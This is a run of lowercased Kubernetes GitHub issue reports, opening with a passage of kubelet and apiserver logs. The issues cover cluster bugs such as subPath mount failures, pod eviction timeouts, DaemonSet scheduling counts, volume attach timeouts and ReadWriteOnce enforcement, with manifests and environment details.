  832 conversion.go:110  could not get instant cpu stats: different number of cpus\r may 18 22:02:11 master01 kubelet-wrapper 832 : e0518 13:02:11.753371     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:07:11 master01 kubelet-wrapper 832 : e0518 13:07:11.774380     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:12:11 master01 kubelet-wrapper 832 : e0518 13:12:11.788341     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:17:11 master01 kubelet-wrapper 832 : e0518 13:17:11.801143     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:22:11 master01 kubelet-wrapper 832 : e0518 13:22:11.813504     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:27:11 master01 kubelet-wrapper 832 : e0518 13:27:11.825092     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:32:11 master01 kubelet-wrapper 832 : e0518 13:32:11.836884     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:37:11 master01 kubelet-wrapper 832 : e0518 13:37:11.848623     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r may 18 22:42:11 master01 kubelet-wrapper 832 : e0518 13:42:11.869606     832 container_manager_linux.go:638  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r     \r     \r master01 ~   cat /var/log/containers/kube-apiserver-172.30.1.100_kube-system_kube-apiserver-b156099b99dd3542897773d74f1d5e425c5abe5c5e62d16adb42a635c77eda49.log\r {\ log\ :\ e0518 12:57:19.215213       1 reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  api.resourcequota: get https://localhost:443/api/v1/resourcequotas?resourceversion=0: dial tcp  ::1 :443: getsockopt: connection refused\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.215844426z\ }\r {\ log\ :\ e0518 12:57:19.215544       1 reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  api.secret: get https://localhost:443/api/v1/secrets?resourceversion=0: dial tcp  ::1 :443: getsockopt: connection refused\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.215893429z\ }\r {\ log\ :\ e0518 12:57:19.215767       1 reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  api.namespace: get https://localhost:443/api/v1/namespaces?resourceversion=0: dial tcp  ::1 :443: getsockopt: connection refused\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.215900977z\ }\r {\ log\ :\ e0518 12:57:19.216006       1 reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  api.limitrange: get https://localhost:443/api/v1/limitranges?resourceversion=0: dial tcp  ::1 :443: getsockopt: connection refused\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.216215568z\ }\r {\ log\ :\ e0518 12:57:19.216226       1 reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  api.serviceaccount: get https://localhost:443/api/v1/serviceaccounts?resourceversion=0: dial tcp  ::1 :443: getsockopt: connection refused\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.216377675z\ }\r {\ log\ :\ e0518 12:57:19.216427       1 reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  storage.storageclass: get https://localhost:443/apis/storage.k8s.io/v1beta1/storageclasses?resourceversion=0: dial tcp  ::1 :443: getsockopt: connection refused\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.216627425z\ }\r {\ log\ :\  restful  2017/05/18 12:57:19 log.go:30:  restful/swagger  listing is available at https://172.30.1.100:443/swaggerapi/\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.242919533z\ }\r {\ log\ :\  restful  2017/05/18 12:57:19 log.go:30:  restful/swagger  https://172.30.1.100:443/swaggerui/ is mapped to folder /swagger-ui/\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-05-18t12:57:19.242957445z\ }\r .\r .\r .\r     \r \r     \r master01 ~   ip addr\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown group default qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host \r        valid_lft forever preferred_lft forever\r 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state up group default qlen 1000\r     link/ether 52:54:00:0e:34:f9 brd ff:ff:ff:ff:ff:ff\r     inet 172.30.1.100/24 brd 172.30.1.255 scope global eth0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::5054:ff:fe0e:34f9/64 scope link \r        valid_lft forever preferred_lft forever\r 3: flannel.1: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue state unknown group default \r     link/ether e6:9d:ba:c3:93:a6 brd ff:ff:ff:ff:ff:ff\r     inet 10.2.4.0/32 scope global flannel.1\r        valid_lft forever preferred_lft forever\r     inet6 fe80::e49d:baff:fec3:93a6/64 scope link \r        valid_lft forever preferred_lft forever\r 4: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down group default \r     link/ether 02:42:4e:38:b2:65 brd ff:ff:ff:ff:ff:ff\r     inet 172.17.0.1/16 scope global docker0\r        valid_lft forever preferred_lft forever\r     \r

it is possible to express a service where multiple front-side ports target the same back-side port.  this is not very useful and may cause trouble for implementations of services.\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: hostnames-2\r spec:\r   ports:\r   - name: a\r     port: 80\r     targetport: 9376\r   - name: b\r     port: 81\r     targetport: 9376\r   selector:\r     run: hostnames\r

as seen in pr https://github.com/kubernetes/kubernetes/pull/50384 issuecomment-321529415\r \r it fails due to:\r \r    \r get file:///go/src/k8s.io/kubernetes/_output/gcs-stage/v1.4.12-beta.0.11+0c4d393f37a1ae/kubernetes-test.tar.gz: unsupported protocol scheme \ file\ \r    \r \r cc @kubernetes/test-infra-maintainers @fejta @krzyzacy \r \r

on aws when we call \ attach\  of a volume then we periodically we check  via  describevolume  api call  if volume has indeed been attached. we run the check in a loop with timeout of 21 minutes.\r \r aws documents that - if a volume is stuck in \ attaching\  state for too long, the node where volume is being attached is in \ dirty\  state and must be rebooted to fix the problem. until node is rebooted, more pods with volumes to same node is only going be stuck in same state  i.e \ attaching\  .\r \r we propose that - if attach operation times out waiting for volume in \ attaching\  state, we should simply taint the node so as it can not affect other pods and a admin can manually fix the node.\r \r   \r cc @derekwaynecarr @justinsb

my kubernetes containers are giving  crashloopbackoff  error. when i looked inside using describe command, i got the following error:\r >> error: failed to start container \ app-mongo\ : error response from daemon: linux runtime spec devices: readdirent: invalid argument\r \r the deployment is below:\r ! image  https://user-images.githubusercontent.com/25716046/33375114-e11856a4-d52e-11e7-9f22-9401d73898d7.png \r \r can anyone please help me on this?

 \r \r   what happened  :\r \r information about kube-proxy daemon set desired/scheduled/misscheduled nodes is confusing.\r \r here's the details:\r \r i have a cluster with 7 nodes:\r \r ! nodes  https://user-images.githubusercontent.com/3069485/37702364-4fa1ac3e-2d03-11e8-8ec1-cea2a18d592d.png \r \r kube-proxy daemon set schedules 6 pods:\r \r ! kube-proxy-pods  https://user-images.githubusercontent.com/3069485/37702415-84db022e-2d03-11e8-8aa9-3aa8c632a946.png \r \r which is totally fine since one of my node  asvc-tst-stor  is tainted with \ node-role.kubernetes.io/file-storage:noschedule\  which is not tolerated by kube-proxy. that's why it's not scheduled on that node.\r \r see   kubectl describe nodes   here - https://gist.github.com/pavel-mikhalchuk/620eabc7fdf3c473427b3c7453eed7c7\r \r see   kubectl -n kube-system describe po kube-proxy   here - https://gist.github.com/pavel-mikhalchuk/768d3b625ccef3c2484f2456d57d3fc8\r \r so i know i need to fix this...\r \r but before i fix this i want to understand why i'm getting following information from   kubectl -n kube-system describe ds kube-proxy  :\r \r ! kube-proxy-ds  https://user-images.githubusercontent.com/3069485/37702777-a699b210-2d04-11e8-98a2-035a972605fa.png \r \r why does the   desired number of nodes scheduled   equal to 4 and \ current number of nodes scheduled\  is 4? \r \r how do i understand the way these numbers are being calculated? why is it 4 but not 6?\r \r will scheduling of the seventh kube-proxy on the node which is missing it fix this issue?\r \r   what you expected to happen  :\r \r   desired number of nodes scheduled   equal to 6\r   current number of nodes scheduled   equal to 6\r   number of nodes misscheduled   is 0\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup kubernates with kubeadm. taint a node with value not tolerated by kube-proxy. upgrade kubernates with kubeadm.\r \r   anything else we need to know?  :\r \r i've recently upgraded from 1.8 to 1.9 with kubeadm.\r \r actually i'm pretty much satisfied that i was alerted by my prometheus installation because of this misscheduling issue of kube-proxy. otherwise i wouldn't be able to find out that one of my nodes is missing kube-proxy pod. however i would expect errors like this:\r \r   desired number of nodes scheduled   equal to 7\r   current number of nodes scheduled   equal to 6\r   number of nodes misscheduled   is 1\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: kubeadm on ubuntu 16.04 xenial vms \r - os  e.g. from /etc/os-release : ubuntu 16.04 xenial  see first screenshot \r - kernel  e.g.  uname -a  : 4.4.0.96-generic - 4.4.0.116-generic  see first screenshot \r - install tools: kubeadm\r - others:\r

 \r   what happened  :\r after upgrading to 1.94  now on 1.9.6  i could not run my flannel container\r \r the error is \r    \r invalid header field value \ oci runtime error: container_linux.go:247: starting container process caused \\\ process_linux.go:359: container init caused \\\\\\\ rootfs_linux.go:53: mounting \\\\\\\\\\\\\\\ /var/lib/kubelet/pods/d1d414bd-2db0-11e8-a1f1-024f81364208/volume-subpaths/flannel-net-conf/kube-flannel/2\\\\\\\\\\\\\\\  to rootfs \\\\\\\\\\\\\\\ /var/lib/docker/overlay2/9a9befa0846d036e5da22e8bb9eaca6ce313aed97671629a96dc79323df4127c/merged\\\\\\\\\\\\\\\  at \\\\\\\\\\\\\\\ /var/lib/docker/overlay2/9a9befa0846d036e5da22e8bb9eaca6ce313aed97671629a96dc79323df4127c/merged/etc/kube-flannel/net-conf.json\\\\\\\\\\\\\\\  caused \\\\\\\\\\\\\\\ not a directory\\\\\\\\\\\\\\\ \\\\\\\ \\\ \ \ \r    \r \r   what you expected to happen  :\r the container would be created and run\r   how to reproduce it  as minimally and precisely as possible   :\r using this deployment i could reproduce it, the important part being that i'm mounting the configmap as directory and then mounting a file from the emptydir as a subpath in the same directory.\r    \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: subpath\r   namespace: kube-system\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: subpath\r     spec:\r       initcontainers:\r         - name: init\r           image: busybox\r           command:\r             - touch\r             - /mount/test\r           volumemounts:\r             - name: mount\r               mountpath: /mount\r       containers:\r       - name: subtest\r         image: busybox\r         command:\r           - sleep\r           - \ 300\ \r         volumemounts:\r           - name: mount\r             mountpath: /mount/test\r             subpath: test\r           - name: config\r             mountpath: /mount\r       volumes:\r       - name: mount\r         emptydir: {}\r       - name: config\r         configmap:\r           name: mount\r ---\r apiversion: v1\r kind: configmap\r metadata:\r   name: mount\r   namespace: kube-system\r data:\r   hello.txt: |\r     hello\r    \r   anything else we need to know?  :\r \r   environment  ::\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6+coreos.0\ , gitcommit:\ c2aac694c2c7373dfe3ad81f47fc3cbc70a5a8fa\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t21:54:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1632.2.1\r version_id=1632.2.1\r build_id=2018-02-01-2053\r pretty_name=\ container linux by coreos 1632.2.1  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-172-23-10-171 4.14.16-coreos  1 smp thu feb 1 20:38:35 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:\r - others:\r docker:\r    \r docker version\r client:\r  version:      1.12.6\r  api version:  1.24\r  go version:   go1.7.6\r  git commit:   d9ad3fc\r  built:        thu feb  1 20:40:03 2018\r  os/arch:      linux/amd64\r \r server:\r  version:      1.12.6\r  api version:  1.24\r  go version:   go1.7.6\r  git commit:   d9ad3fc\r  built:        thu feb  1 20:40:03 2018\r  os/arch:      linux/amd64\r    \r storage driver is overlay2\r

some attempts are using decreased number of nodes in tests, e.g.:\r   in  green  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/192 i see \ scheduling additional 3883 pods to measure startup latencies\ \r   in  red  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/195 i see \ scheduling additional 2175 pods to measure startup latencies\ \r \r i'm not sure about the impact of this: whether all the test is using lower number of nodes or just latency measurements, but this looks suspicious and requires investigation.\r \r /assign\r /cc @shyamjvs \r 

the documentation  1  reads:\r > starting with kubernetes 1.10, openapi spec is served in a single /openapi/v2 endpoint. the format-separated endpoints  /swagger.json, /swagger-2.0.0.json, /swagger-2.0.0.pb-v1, /swagger-2.0.0.pb-v1.gz  are deprecated and will get removed in kubernetes 1.14.\r \r we should remove these before 1.14.\r \r /assign @mbohlool @liggitt \r \r  1 : https://kubernetes.io/docs/concepts/overview/kubernetes-api/ openapi-and-swagger-definitions

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : i modified the  pod-eviction-timeout  settings of kube-controller-manager on the master node  in order to to decrease the amount of time before k8s re-creates a pod in case of node failure . the default value is 5 minutes, i configured 30 seconds. using the  sudo docker ps --no-trunc | grep \ kube-controller-manager\   command i checked that the modification was successfully applied:\r    \r kubeadmin@nodetest21:~$ sudo docker ps --no-trunc | grep \ kube-controller-manager\ \r 387261c61ee9cebce50de2540e90b89e2bc710b4126a0c066ef41f0a1fb7cf38   sha256:0482f640093306a4de7073fde478cf3ca877b6fcc2c4957624dddb2d304daef5                         \ kube-controller-manager --address=127.0.0.1 --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf --client-ca-file=/etc/kubernetes/pki/ca.crt --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt --cluster-signing-key-file=/etc/kubernetes/pki/ca.key --controllers= ,bootstrapsigner,tokencleaner --kubeconfig=/etc/kubernetes/controller-manager.conf --leader-elect=true --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --root-ca-file=/etc/kubernetes/pki/ca.crt --service-account-private-key-file=/etc/kubernetes/pki/sa.key --use-service-account-credentials=true --pod-eviction-timeout=30s\  \r     \r i applied a basic deployment with two replicas:\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: busybox\r   namespace: default\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: busybox\r   template:\r     metadata:\r       labels:\r         app: busybox\r     spec:\r       containers:\r       - image: busybox\r         command:\r         - sleep\r         - \ 3600\ \r         imagepullpolicy: ifnotpresent\r         name: busybox\r       restartpolicy: always\r    \r \r the first pod created on the first worker node, the second pod created on the second worker node:\r \r    \r name         status   roles    age   version\r nodetest21   ready    master   34m   v1.13.3\r nodetest22   ready    <none>   31m   v1.13.3\r nodetest23   ready    <none>   30m   v1.13.3\r \r namespace     name                                 ready   status    restarts   age   ip          node         nominated node   readiness gates\r default       busybox-74b487c57b-5s6g7             1/1     running   0          13s   10.44.0.2   nodetest22   <none>           <none>\r default       busybox-74b487c57b-6zdvv             1/1     running   0          13s   10.36.0.1   nodetest23   <none>           <none>\r kube-system   coredns-86c58d9df4-gmcjd             1/1     running   0          34m   10.32.0.2   nodetest21   <none>           <none>\r kube-system   coredns-86c58d9df4-wpffr             1/1     running   0          34m   10.32.0.3   nodetest21   <none>           <none>\r kube-system   etcd-nodetest21                      1/1     running   0          33m   10.0.1.4    nodetest21   <none>           <none>\r kube-system   kube-apiserver-nodetest21            1/1     running   0          33m   10.0.1.4    nodetest21   <none>           <none>\r kube-system   kube-controller-manager-nodetest21   1/1     running   0          20m   10.0.1.4    nodetest21   <none>           <none>\r kube-system   kube-proxy-6mcn8                     1/1     running   1          31m   10.0.1.5    nodetest22   <none>           <none>\r kube-system   kube-proxy-dhdqj                     1/1     running   0          30m   10.0.1.6    nodetest23   <none>           <none>\r kube-system   kube-proxy-vqjg8                     1/1     running   0          34m   10.0.1.4    nodetest21   <none>           <none>\r kube-system   kube-scheduler-nodetest21            1/1     running   1          33m   10.0.1.4    nodetest21   <none>           <none>\r kube-system   weave-net-9qls7                      2/2     running   3          31m   10.0.1.5    nodetest22   <none>           <none>\r kube-system   weave-net-h2cb6                      2/2     running   0          33m   10.0.1.4    nodetest21   <none>           <none>\r kube-system   weave-net-vkb62                      2/2     running   0          30m   10.0.1.6    nodetest23   <none>           <none>\r    \r \r to test the correct pod eviction i shutdown the first worker node. after ~1 min the status of the first worker node changed to \ notready\ , then \r i had to wait +5 minutes  which is the default pod eviction timeout  for pod on the turned off node to be re-created on the other node.\r \r   what you expected to happen  :\r after the node status reports \ notready\ , the pod should be re-created on the other node after 30 seconds instead if the default 5 minutes!\r \r   how to reproduce it  as minimally and precisely as possible   :\r create three nodes. init kubernetes on the first node   sudo kubeadm init  , apply network plugin   kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=$ kubectl version | base64 | tr -d '\ ' \   , then join the other two nodes  like:  kubeadm join 10.0.1.4:6443 --token xdx9y1.z7jc0j7c8g8lpjog --discovery-token-ca-cert-hash sha256:04ae8388f607755c14eed702a23fd47802d5512e092b08add57040a2ae0736ac  .\r add pod-eviction-timeout parameter to kube controller manager on the master node:   sudo vi /etc/kubernetes/manifests/kube-controller-manager.yaml :\r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-controller-manager\r     tier: control-plane\r   name: kube-controller-manager\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-controller-manager\r     - --address=127.0.0.1\r     - --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf\r     - --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf\r     - --client-ca-file=/etc/kubernetes/pki/ca.crt\r     - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt\r     - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key\r     - --controllers= ,bootstrapsigner,tokencleaner\r     - --kubeconfig=/etc/kubernetes/controller-manager.conf\r     - --leader-elect=true\r     - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\r     - --root-ca-file=/etc/kubernetes/pki/ca.crt\r     - --service-account-private-key-file=/etc/kubernetes/pki/sa.key\r     - --use-service-account-credentials=true\r     - --pod-eviction-timeout=30s\r    \r  the yaml is truncated, only the related first part is showed here .\r \r check that the settings is applied:\r  sudo docker ps --no-trunc | grep \ kube-controller-manager\  \r \r apply a deployment with two replicas, check that one pod is created on first worker node, the second is created on the second worker node.\r shut down one of the nodes, and check the elapsed time between the event, when the node reports \ notready\  and the pod re-created.\r \r   anything else we need to know?  :\r i experience the same issue in multi-master environment also.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.3\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: azure vm\r - os  e.g:  cat /etc/os-release  : name=\ ubuntu\  version=\ 16.04.5 lts  xenial xerus \ \r - kernel  e.g.  uname -a  : linux nodetest21 4.15.0-1037-azure  39~16.04.1-ubuntu smp tue jan 15 17:20:47 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others: docker v18.06.1-ce\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i pull master and  build/run.sh make  but failed.\r i met an error  k8s.io/kubernetes/hack/lib/util.sh: line 654: docker @ : unbound variable \r \r https://github.com/kubernetes/kubernetes/blob/9c75270b2be4dcc39e31edb34b76e8f604aaf91a/hack/lib/util.sh l651\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r mac\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r    \r  ~  docker version\r client: docker engine - community\r  version:           18.09.1\r  api version:       1.39\r  go version:        go1.10.6\r  git commit:        4c52b90\r  built:             wed jan  9 19:33:12 2019\r  os/arch:           darwin/amd64\r  experimental:      false\r \r server: docker engine - community\r  engine:\r   version:          18.09.1\r   api version:      1.39  minimum version 1.12 \r   go version:       go1.10.6\r   git commit:       4c52b90\r   built:            wed jan  9 19:41:49 2019\r   os/arch:          linux/amd64\r   experimental:     false\r

what happened  : the portworx volume driver is accessing the storage parameters and also modifying it. this is a shared map object used by all pvcs being created at that time from the same storageclass.\r \r this causes 2 issues:\r \r 1. the portworx driver ends up saving annotations of one pvc into the parameters of another pvc as both createvolume calls use the same map. see https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/portworx/portworx_util.go l76\r 2. the controller manager crashes as 2 createvolume routines try to modify the same map. this is a big problem since the controller manager container crashes half way into creating a volume resulting in the volume being present in the backend portworx cluster but not bound in kubernetes.\r \r   what you expected to happen  : createvolume call for one pvc should be completely isolated from another pvc\r \r   how to reproduce it  as minimally and precisely as possible   : create a large number of pvcs using the portworx volume driver using the same storageclass.\r \r   anything else we need to know?  :\r \r   environment  : n/a\r - kubernetes version  use  kubectl version  : 1.13.2\r - cloud provider or hardware configuration: n/a\r - os  e.g:  cat /etc/os-release  : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: kubernetes cluster with portworx installed\r - others:\r

i wasn't able to successfully run flannel 2k node cluster. the problem i encountered is that flannel wasn't running, because etcd cluster backing the flannel for some reason wash crashlooping. i suspect that it's some small configuration issue.  cc @wojtek-t @bprashanth

current container gc has a configurable cap  default: 5  per container spec. if a restart count hit to 5, kubelet tries to delete old containers solely based on timestamps. but from my experience on google internal system, there are three information are the most important for users:  1  the first crash 2  the last recent crash 3  number of crash: indicate if it is a transient issue or a crash loop   cc/ @brendandburns @bgrant0607

105935 - 70 builds/hr, 70 tests/hr - a bunch of gke jobs fail to start clusters  summary . started 4/1, spiked tuesday 4/4. declined wednesday and thursday but still high.\r \r /assign @lukemarsden @roberthbailey @jlowdermilk @mikedanese \r \r \r https://k8s-testgrid.appspot.com/release-1.6-all gci-gke-reboot-1.6\r https://storage.googleapis.com/k8s-gubernator/triage/index.html ea6679417165f10786e6\r \r    \r w0408 10:16:56.440  error:  gcloud.container.clusters.create  operation  <operation\r w0408 10:16:56.440   name: u'operation-1491670786127-f1ac6a61'\r w0408 10:16:56.440   operationtype: operationtypevaluevaluesenum create_cluster, 1 \r w0408 10:16:56.440   selflink: u'https://test-container.sandbox.googleapis.com/v1/projects/220967818552/zones/us-central1-a/operations/operation-1491670786127-f1ac6a61'\r w0408 10:16:56.440   status: statusvaluevaluesenum done, 3 \r w0408 10:16:56.440   statusmessage: u'all cluster resources were brought up, but the cluster api is reporting 3 nodes out of 3 are unhealthy.'\r w0408 10:16:56.441   targetlink: u'https://test-container.sandbox.googleapis.com/v1/projects/220967818552/zones/us-central1-a/clusters/bootstrap-e2e'\r w0408 10:16:56.441   zone: u'us-central1-a'>  finished with error: all cluster resources were brought up, but the cluster api is reporting 3 nodes out of 3 are unhealthy.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r in the current device allocation workflow, init-containers and regular containers are treated in separate steps due to the lack of a pod-level request/limit representation. there will be cases where the init-containers successfully allocated devices but the regular containers failed to do so.\r \r   what you expected to happen  :\r there are at least two options to solve this. in the near term, treat the pod as a whole when allocating device resources. either the allocation succeeds or it fails as a whole. we cannot allow partial successes. \r in the long term, we are about to advocate a usage pattern where init-containers and regular containers are using the same collection of device resources. the init-containers are tasked to do device, driver and sdk preparation, and the regular containers simply assume that the devices are usable.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r create replicaset with multiple pods mounting pv set with accessmode of readwriteonce.  then verified that each pod could write successfully to the pv.\r \r   what you expected to happen  :\r either the replicaset to fail because it was trying to do something invalid  mount a rwo volume to multiple pods  or to succeed but only mount to one pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r here is the manifest i applied that is pointing to a local nfs server.  \r    yaml\r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   name: busybox\r spec:\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: busybox\r         version: \ 2\ \r     spec:\r       containers:\r         - image: busybox\r           args:  /bin/sh, -c, 'sleep 9999'  \r           volumemounts:\r             - mountpath: /test\r               name: busybox-volume\r           name: busybox\r       volumes:\r       - name: busybox-volume\r         persistentvolumeclaim:\r           claimname: busybox-claim\r ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: busybox-volume\r spec:\r   capacity:\r     storage: 5gi\r   volumemode: filesystem\r   accessmodes:\r     - readwriteonce\r   persistentvolumereclaimpolicy: recycle\r   nfs:\r     path: /opt/test\r     server: 192.168.1.24\r ---\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: busybox-claim\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r    \r ! demonstration of issue  https://kes-files.s3-us-west-1.amazonaws.com/readwriteonce.png \r \r   anything else we need to know?  :\r this may be working as intended and the accessmode is just a suggestion.  if that is the case then this should probably be a ticket to update documentation at https://kubernetes.io/docs/concepts/storage/persistent-volumes/ with notes that accesscontrol doesn't do any enforcement.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r local vmware lab\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux kubernetes-alpha 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r  kubeadm init --pod-network-cidr=10.244.0.0/16 \r \r - others:\r

